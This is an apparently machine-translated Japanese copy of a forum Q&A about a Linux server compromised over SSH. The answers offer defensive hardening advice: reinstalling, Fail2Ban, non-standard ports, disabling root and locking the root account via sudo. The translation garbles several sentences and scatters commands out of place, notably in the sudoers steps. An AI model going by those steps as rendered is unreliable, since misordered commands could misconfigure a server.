  3. インターネットに接続する通常の方法は、既知のポートのリストをパブリックIP(例:8.8.8.8)からローカル(例:192.168.1.12)に転送することです。

    • たとえば、8.8.8.8(パブリック)から192.168.1.12(ローカル)へのすべての着信接続を転送しないでください。

    • ポート22および25(それぞれSSHおよび受信メール)のみを転送します。もちろん、最新のsshおよびsmtpパッケージ/ライブラリも必要です。

  4. 次は何ですか?ホストを切断し、シェル組織でハードコードされている(組織に関連付けられているコンピューター上の)パスワードを変更します(恥ずかしい!)/etc/shadow


1.はいdebian-armhfはホスト名です。2.はい、私はその記事を読み、Webサイトcest.microsoft.comからマイクロソフトに連絡しました。3. 25と22だけを転送しましたが、他には何も転送されませんでした。4.私はそれを行います
16

「IPは多少なりとも偽物になりやすい」:私はセキュリティやネットワークの専門家でもありません。そんなことがあるものか?
ケビナープ

@kevinarpeそれはおそらく別の質問としてはるかに良いでしょう。
CVn


2
@Archemar:SSHはTCPです。TCPソースIPを偽造することは、不可能ではないにしても困難です。さらに、上記で確立したように、Microsoft IPはクラウドサービスAzureに属しているため、他の人を攻撃するために誰でもサービスに時間を費やしている可能性があります。
-nneonneo

9

他の人が述べたように、サーバーのセキュリティが侵害されていることは明らかです。最も安全なことは、このマシンをワイプして再インストールすることです。

質問の2番目の部分に答えるために、公開鍵認証を使用できない場合、少なくともFail2Banをセットアップし、非標準ポートでSSHを実行することをお勧めします。ルートSSHアクセスも無効にします。

Fail2Banは、特定の回数ログインに失敗したIPアドレスを禁止することにより、ブルートフォース攻撃を軽減します。

非標準ポートでリッスンするようにsshdを設定すると、少なくともSSHサーバーの可視性を少しだけ減らすのに役立ちます。ルートログオンを無効にすると、攻撃プロファイルもわずかに減少します。で/etc/sshd_config

PermitRootLogin no
Port xxxxx

rootログインを無効にするとsu、接続したらrootに切り替えるか、(できれば)sudo特権コマンドの実行に使用する必要があります。


私はそれらの両方を行いました、アドバイスに感謝します。
16

8

SSHサーバーはインターネット上で常に攻撃を受けています。あなたがすることのいくつか:

  1. インターネットにアクセス可能なマシンでは、非常に安全なランダムパスワードを使用してください。16文字以上で完全にランダムであるという意味です。パスワードマネージャーを使用して、暗記する必要がないようにします。パスワードを記憶できる場合、それはあまりにも簡単です。

  2. SSHが必要ない場合は、オフにします。必要な場合でも、一般公開されている必要がない場合は、標準以外の高いポート番号で実行してください。これを行うと、ハッキングの試行が劇的に減少します。はい、専任のハッカーはポートスキャンを実行できますが、自動化されたボットはそれを検出しません。

認証ログのスニペットは、失敗した試行を示しています。ただし、さらに詳しく見ると、ログインに成功していることは間違いありません。単純なパスワードを使用すると、ボットが侵入するのは簡単です。

このマシンをネットワークから隔離する必要があります。必要なものを慎重に取り出してから、拭いてください。


7
ポート22でsshを実行していた場合、通常、1日に何千ものハック試行があります。高いポート番号(50000以上)に変更すると、これらのハックの試みは完全に停止しました。
user1751825 16

16文字では十分に安全ではありません。ユーザーのログアウトも便利です。それをパーマロックアウトにせず、期限切れにしますが、1時間程度にします。この方法でも、サーバーにアクセスできます。
ラムハウンド16

強力な認証(公開鍵または強力なパスワード)を持っている限り、ステップ2)はセキュリティのために厳密に必要ではないことに注意してください。
user20574 16

2
@Ramhoundどうして?小文字だけであったとしても、16個の小文字は43608742899428874059776の可能性をもたらします。これは、ブルートフォースには実用的ではありません。
user20574 16

3
@ user20574。厳密には必要ではありませんが、SSHサービスの可視性を減らすことは依然として非常に役立ちます。ログから混乱を取り除く以外の理由がない場合でも。限られた人々のグループのみがマシンにアクセスできるようにする必要がある場合、セキュリティを改善するための非標準ポートは完全に合理的なステップです。
user1751825

6

Linux / Unixサーバーを前面に設置した後、誰でも/誰でも最初にすべきことは、直ちに無効にすることrootです。

システムが侵害されました。実行履歴ログがありますが、これはある程度見た方がいいかもしれません。しかし、詳細を正直に分析することは少し気難しいことであり、サーバーのセキュリティ保護には役立ちません。これは、ボットネットがマルウェアを生成したときに発生するあらゆる種類のナンセンスを示しています。これは、おそらくサーバーに感染したものですが、Linuxシステムに感染します。@MariusMatutiaeが提供する回答は素晴らしく、よく考えであり、あなたが経由でハッキングされたことを繰り返して他の人があるrootマルウェア/ボットネットのぬれた夢であるアクセスが。

無効にする方法についてはいくつかの説明がありますが、root個人的な経験から述べますが、今説明することを超えたものはほとんどやり過ぎです。これは、サーバーを最初にセットアップしたときに行うべきことです。

  1. sudo権限を持つ新しいユーザーを作成しますcooldude。Ubuntu sudo adduser cooldudeまたは別のタイプのDebianシステムを使用している場合などのコマンドを使用して、新しい名前(次のようなもの)で新しいユーザーを作成します。次に、sudoこのようなコマンドを使用してファイルを手動で編集し、同等の行の下にのsudo nano /etc/sudoersような行を追加しcooldude ALL=(ALL:ALL) ALLますroot ALL=(ALL:ALL) ALL。それが終わったら、ログインしてcooldude、「基本的で非破壊的sudoな」コマンドを使用してコマンドをテストしsudo wsudo権利が機能するかどうかを確認します。パスワードの入力を求められる場合があります。うまくいく?いいね!次のステップに進みます。
  2. rootアカウントをロックします。さて、これcooldudesudo権限を持つようにcooldudeなりました。ログインしてこのコマンドを実行し、rootアカウントをロックしますsudo passwd -l root。何らかの理由rootでSSHキーペアを作成した場合は/root/.ssh/authorized_keys、キーを開いて削除します。それとも、authorized_keys_OFFこのファイルの名前をこのように変更するだけでsudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF、SSHキーを効果的に無効にできます。パスワードが不要なログインが必要な場合は、そのファイルを元の名前に戻すだけでいいので、後者の方が好きです。

FWIW、私は長年(数十年?)何十ものLinuxサーバーを管理してきましたが、経験からLinuxシステムを保護するための最も簡単で最も基本的な方法は、単に無効にrootし、sudo権利を持つ新しいユーザーをセットアップすることです。一度root無効にすると、SSHを介したいかなるタイプの侵害にも対処する必要がなくなりました。そして、はい、経由でログインしようとするかもしれませんauth.logが、それらは無意味です。rootが無効になっている場合、これらの試行は決して合計されません。ただ座って、試行が無限に失敗するのを見てください!

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.